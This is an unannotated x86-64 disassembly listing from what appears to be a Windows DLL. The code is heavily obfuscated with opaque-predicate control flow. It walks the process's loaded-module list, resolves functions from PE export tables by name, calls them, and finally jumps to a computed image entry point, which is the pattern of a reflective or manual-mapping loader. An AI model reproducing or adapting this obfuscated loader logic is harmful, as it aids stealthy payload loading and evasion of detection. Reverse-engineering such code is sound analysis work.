cmp dword [0x180023474], 0xa
setl cl
xor al, cl
mov r11d, eax
not r11b
and r11b, cl
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
mov ecx, dword [0x180023480]
mov edi, dword [0x180023484]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x800aa50b
mov esi, ecx
and esi, 0x7ff55af4
or esi, edx
xor esi, 0x7ff55af5
and ecx, 0xfffffffe
or ecx, esi
mov edx, ecx
not edx
and edx, 0x38ae8162
and ecx, 0xc7517e9d
or ecx, edx
xor ecx, 0xc7517e9d
sete cl
setne dl
cmp edi, 9
setg al
cmp edi, 0xa
setl r12b
mov ebx, r12d
xor bl, dl
and bl, r12b
and al, cl
and r12b, dl
or r12b, al
mov eax, ebx
xor al, 1
xor bl, r12b
xor r12b, 1
or r12b, al
xor r12b, 1
or r12b, bl
mov qword [rsp + 0x28], r15
cmp bpl, r10b
jne 0x180003b30
xor bpl, 1
or bpl, r9b
xor bpl, 1
mov r15, qword [rsp + 0x28]
jne 0x180003b30
jmp 0x1800046f0
test edx, edx
je 0x180003c3d
mov r15, qword [r15]
cmp r15, qword [rsp + 0x28]
je 0x180004583
test r11b, r11b
je 0x1800046a0
mov rsi, r13
nop word [rax + rax]
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180003b50
test r12b, 1
je 0x1800046b0
movabs rax, 0xa66783c1f3a02bdf
mov rdx, rax
add rsi, rax
movabs rax, 0xe2adde0ad9a782f0
mov rcx, rax
add rsi, rax
sub rsi, rdx
movabs rax, 0xfbed7bbd6363396c
add rsi, rax
sub rsi, qword [rsp + 0x50]
sub rsi, rax
sub rsi, rcx
je 0x180003c3d
mov r9, qword [r15 + 0x60]
xor r8d, r8d
mov rdi, rsi
movzx eax, word [r9 + r8*2]
test eax, eax
setne cl
movsx ebp, byte [r13 + r8 + 1]
lea r10d, [rax - 0x41]
lea edx, [rax + 0x20]
cmp r10w, 0x1a
cmovae edx, eax
lea r10d, [rbp - 0x41]
lea eax, [rbp + 0x20]
cmp r10b, 0x1a
cmovae eax, ebp
sub edx, eax
sete bl
mov eax, ebx
xor al, cl
and cl, bl
or cl, al
xor cl, 1
test al, cl
jne 0x180003b28
xor al, cl
jne 0x180003b28
movabs rax, 0xffe22cafe165da6b
add rdi, rax
movabs rcx, 0xd347c14fe938e8e2
add rdi, rcx
sub rdi, rax
movabs rax, 0xb59e396c817ec09
sub rdi, rax
sub rdi, rcx
add rdi, rax
add rdi, 0xffffffffffffffff
add r8, 1
cmp rsi, r8
jne 0x180003baf
mov r9, qword [r15 + 0x30]
mov eax, dword [0x180023488]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x32582fb4
and ecx, 0xcda7d04b
or ecx, eax
mov eax, ecx
xor eax, 0xcda7d04b
xor ecx, 0x12402824
and ecx, 0x52e1782f
mov edx, eax
and edx, 0xad1e87d0
or edx, ecx
xor edx, 0xad1e87d1
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x18002348c], 0xa
setl dl
xor al, dl
mov ecx, eax
not cl
and cl, dl
test cl, al
mov rsi, qword [rsp + 0x38]
jne 0x180003caf
xor cl, al
je 0x180004700
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
mov ebp, dword [r9 + rax + 0x20]
add r8, r9
add rbp, r9
mov r11d, dword [r9 + rax + 0x24]
add r11, r9
mov eax, dword [0x180023490]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r10b
cmp dword [0x180023494], 0xa
setl bl
xor r10b, bl
mov edx, r10d
xor dl, 1
and bl, dl
mov eax, ebx
xor al, 1
xor bl, r10b
or al, dl
xor al, 1
or al, bl
nop word [rax + rax]
mov edi, dword [rbp]
add rdi, r9
nop word cs:[rax + rax]
test al, al
je 0x180003d30
movzx r15d, byte [rsi]
movzx r10d, byte [rdi]
cmp r15b, r10b
setne cl
test r15b, r15b
sete dl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
jne 0x180003d61
add rdi, 1
add rsi, 1
test r14b, r14b
je 0x180003d61
jne 0x180003d30
cmp r15b, r10b
je 0x180003d75
add rbp, 4
add r11, 2
mov rsi, qword [rsp + 0x38]
jmp 0x180003d20
movzx eax, word [r11]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
call r9
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
mov r8d, dword [0x180023468]
mov r15d, dword [0x18002346c]
lea edx, [r8 - 1]
imul edx, r8d
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0xfffffffe
and edx, 1
or edx, eax
xor ebp, edx
test ebp, edx
setne r9b
sete al
cmp r15d, 0xa
setl bl
cmp r15d, 9
setg cl
and al, cl
and bl, r9b
or bl, al
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
cmp bl, al
jne 0x18000458b
xor bl, 1
or bl, cl
xor bl, 1
jne 0x18000458b
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov eax, dword [0x180023478]
mov ecx, dword [0x18002347c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x3eaedc9e
and edx, 0xc1512361
or edx, ebp
xor edx, 0x3eaedc9f
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg r9b
and al, r9b
or r9b, dl
mov r10d, r9d
xor r10b, 1
and bl, dl
or bl, al
mov eax, dword [0x180023470]
mov ecx, dword [0x180023474]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x4d403146
and edx, 0xb2bfceb9
or edx, ebp
xor edx, 0x4d403147
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl r11b
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and r11b, dl
or r11b, al
xor r11b, 1
mov eax, ecx
xor al, r11b
or r11b, cl
xor r11b, 1
or r11b, al
mov eax, dword [0x180023480]
mov ecx, dword [0x180023484]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl r12b
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and r12b, dl
or r12b, al
mov eax, ecx
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, cl
xor r12b, 1
or r12b, al
mov qword [rsp + 0x28], r8
cmp r10b, bl
jne 0x180003f42
xor bl, 1
or r9b, bl
xor r9b, 1
mov r8, qword [rsp + 0x28]
jne 0x180003f42
jmp 0x180004630
test ecx, ecx
je 0x18000403d
mov r8, qword [r8]
cmp r8, qword [rsp + 0x28]
je 0x180004573
test r11b, 1
je 0x1800045f0
mov rbp, r13
nop dword [rax]
cmp byte [rbp + 1], 0
lea rbp, [rbp + 1]
jne 0x180003f60
test r12b, 1
je 0x180004600
movabs rax, 0xe62b102cb081a255
sub rbp, rax
movabs rcx, 0x5e3c934b143df939
add rbp, rcx
sub rbp, qword [rsp + 0x50]
sub rbp, rcx
movabs rcx, 0x8b10e891c29d212f
add rbp, rcx
add rbp, rax
sub rbp, rcx
je 0x18000403d
mov r9, qword [r8 + 0x60]
xor edi, edi
mov rsi, rbp
nop dword [rax + rax]
movzx edx, word [r9 + rdi*2]
test edx, edx
setne r10b
lea eax, [rdx - 0x41]
lea ecx, [rdx + 0x20]
cmp ax, 0x1a
cmovae ecx, edx
movsx eax, byte [r13 + rdi + 1]
lea ebx, [rax - 0x41]
lea r15d, [rax + 0x20]
cmp bl, 0x1a
cmovae r15d, eax
sub ecx, r15d
setne r15b
sete al
or al, r10b
mov ebx, eax
xor bl, 1
and r15b, r10b
or edx, ecx
sete dl
or dl, r15b
cmp bl, dl
jne 0x180003f3a
xor dl, 1
or al, dl
xor al, 1
jne 0x180003f3a
movabs rax, 0xa9edddddc91575d1
add rsi, rax
sub rax, rsi
not rax
add rdi, 1
mov rsi, rax
cmp rbp, rdi
jne 0x180003fc0
mov r9, qword [r8 + 0x30]
mov r15, qword [rsp + 0x38]
mov ecx, dword [0x180023488]
mov eax, dword [0x18002348c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x87a6d003
and edx, 0x78592ffc
or edx, ecx
mov ecx, edx
xor ecx, 0x78592ffc
xor edx, 0xa25003
and edx, 0x10aa7cd3
mov ebp, ecx
and ebp, 0xef55832c
or ebp, edx
xor ebp, 0xef55832d
and ecx, 0xfffffffe
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb0fd8f3c
and ecx, 0x4f0270c3
or ecx, edx
xor ecx, 0x4f0270c3
sete r8b
setne bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, bl
and cl, al
and dl, r8b
and al, bl
or al, dl
test cl, al
jne 0x1800040d7
xor cl, al
je 0x180004640
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
mov ebp, dword [r9 + rax + 0x20]
add r8, r9
add rbp, r9
mov r10d, dword [r9 + rax + 0x24]
add r10, r9
mov eax, dword [0x180023490]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa536b482
and ecx, 0x5ac94b7d
or ecx, edx
xor ecx, 0x5ac94b7c
xor eax, ecx
test eax, ecx
setne cl
sete dl
cmp dword [0x180023494], 9
setg al
xor dl, al
xor dl, 1
mov ebx, eax
xor bl, cl
and al, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
nop dword [rax]
mov edi, dword [rbp]
add rdi, r9
mov rsi, r15
nop dword [rax]
test al, al
je 0x180004160
movzx ebx, byte [rsi]
movzx r11d, byte [rdi]
cmp bl, r11b
sete cl
test bl, bl
setne dl
xor cl, dl
xor cl, 1
xor dl, cl
cmp dl, 1
je 0x18000418e
add rdi, 1
add rsi, 1
test cl, cl
jne 0x180004160
cmp bl, r11b
je 0x18000419d
add rbp, 4
add r10, 2
jmp 0x180004150
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
call r9
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
mov rax, qword gs:[0x60]
mov r10, qword [rax + 0x18]
add r10, 0x10
mov eax, dword [0x180023478]
mov ecx, dword [0x18002347c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x77c28b35
and edx, 0x883d74ca
or edx, ebp
xor edx, 0x77c28b34
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg r8b
and dl, r8b
and bl, al
or bl, dl
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
mov r9d, r8d
xor r9b, 1
mov eax, dword [0x180023470]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne cl
cmp dword [0x180023474], 0xa
setl r12b
xor cl, r12b
mov edx, r12d
xor dl, al
or r12b, al
xor r12b, 1
or r12b, dl
mov eax, ecx
xor al, r12b
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, dword [0x180023480]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x180023484], 0xa
setl cl
xor al, cl
mov r11d, eax
not r11b
and r11b, cl
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
mov r15, r10
cmp bl, r9b
jne 0x1800042e5
xor bl, 1
or bl, r8b
xor bl, 1
mov r15, r10
jne 0x1800042e5
jmp 0x180004650
test ecx, ecx
je 0x1800043c7
mov r15, qword [r15]
cmp r15, r10
je 0x18000457b
test r12b, 1
je 0x180004610
mov rbx, r13
nop
cmp byte [rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x180004300
test r11b, r11b
je 0x180004620
movabs rax, 0x37a1d297c87aefa5
mov rcx, rax
add rbx, rax
movabs rax, 0x7fc5572ccedf1f17
sub rbx, rax
sub rbx, rcx
sub rbx, qword [rsp + 0x50]
add rbx, rax
je 0x1800043c7
mov r8, qword [r15 + 0x60]
xor esi, esi
mov rbp, rbx
nop word [rax + rax]
movzx eax, word [r8 + rsi*2]
test eax, eax
sete dl
movsx edi, byte [r13 + rsi + 1]
lea r9d, [rax - 0x41]
lea ecx, [rax + 0x20]
cmp r9w, 0x1a
cmovae ecx, eax
lea r9d, [rdi - 0x41]
lea eax, [rdi + 0x20]
cmp r9b, 0x1a
cmovae eax, edi
sub ecx, eax
setne r9b
sete al
xor al, dl
mov edi, edx
xor dil, r9b
or dl, r9b
xor dl, 1
or dl, dil
cmp al, dl
jne 0x1800042dd
or al, dl
xor al, 1
jne 0x1800042dd
movabs rax, 0x6b2386a34d5fcf66
add rbp, rax
sub rax, rbp
not rax
add rsi, 1
mov rbp, rax
cmp rbx, rsi
jne 0x180004350
mov r9, qword [r15 + 0x30]
mov eax, dword [0x180023488]
mov ecx, dword [0x18002348c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
not edx
or edx, eax
cmp edx, 0xffffffff
setne dl
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
and bl, cl
and al, dl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
cmp al, dl
mov rsi, qword [rsp + 0x38]
jne 0x18000442c
xor al, 1
or al, cl
xor al, 1
je 0x180004680
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
mov ebp, dword [r9 + rax + 0x20]
add r8, r9
add rbp, r9
mov r10d, dword [r9 + rax + 0x24]
add r10, r9
mov eax, dword [0x180023490]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xbbdfc7fc
and edx, 0x44203803
or edx, eax
xor edx, 0x44203803
sete dl
cmp dword [0x180023494], 0xa
setl al
xor dl, al
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
nop
mov edi, dword [rbp]
add rdi, r9
nop word cs:[rax + rax]
test al, al
je 0x1800044b0
movzx ebx, byte [rsi]
movzx r12d, byte [rdi]
cmp bl, r12b
sete r11b
setne r15b
test bl, bl
setne cl
sete dl
and dl, r15b
and cl, r11b
or cl, dl
cmp cl, 1
jne 0x1800044ec
test bl, bl
je 0x1800044ec
add rdi, 1
add rsi, 1
test r14b, r14b
jne 0x1800044b0
cmp bl, r12b
je 0x180004500
add rbp, 4
add r10, 2
mov rsi, qword [rsp + 0x38]
jmp 0x1800044a0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
call r9
mov rcx, qword [rsp + 0x48]
mov qword [rcx], rax
mov eax, dword [0x180023468]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
sete cl
cmp dword [0x18002346c], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
or al, dl
xor al, 1
cmp cl, dl
jne 0x1800039bd
test al, al
je 0x180003dfd
jmp 0x1800039bd
xor r9d, r9d
jmp 0x180004041
xor r9d, r9d
jmp 0x1800043cb
xor r9d, r9d
jmp 0x180003c41
mov rdi, qword [rsp + 0x70]
add rdi, 8
add qword [rsp + 0x48], 8
test ebp, edx
sete al
setne bl
cmp r15d, 0xa
setl cl
cmp r15d, 9
setg dl
or dl, bl
xor dl, 1
xor cl, al
test dl, cl
mov r10, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x68]
jne 0x18000395c
xor dl, cl
jne 0x18000395c
jmp 0x1800046e0
xor r9d, r9d
jmp 0x1800037a6
add rbp, 0x14
jmp 0x180003515
jmp 0x1800045f0
jmp 0x180004600
jmp 0x180004610
jmp 0x180004620
jmp 0x180004630
jmp 0x180004640
jmp 0x180004650
jmp 0x180004660
jmp 0x180004670
jmp 0x180004680
jmp 0x180004690
jmp 0x1800046a0
jmp 0x1800046b0
jmp 0x1800046c0
jmp 0x1800046d0
jmp 0x1800046e0
jmp 0x1800046f0
jmp 0x180004700
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x28]
add r10, rax
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
movaps xmm8, xmmword [rsp + 0xe0]
movaps xmm9, xmmword [rsp + 0xf0]
movaps xmm10, xmmword [rsp + 0x100]
movaps xmm11, xmmword [rsp + 0x110]
movaps xmm12, xmmword [rsp + 0x120]
movaps xmm13, xmmword [rsp + 0x130]
movaps xmm14, xmmword [rsp + 0x140]
movaps xmm15, xmmword [rsp + 0x150]
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp r10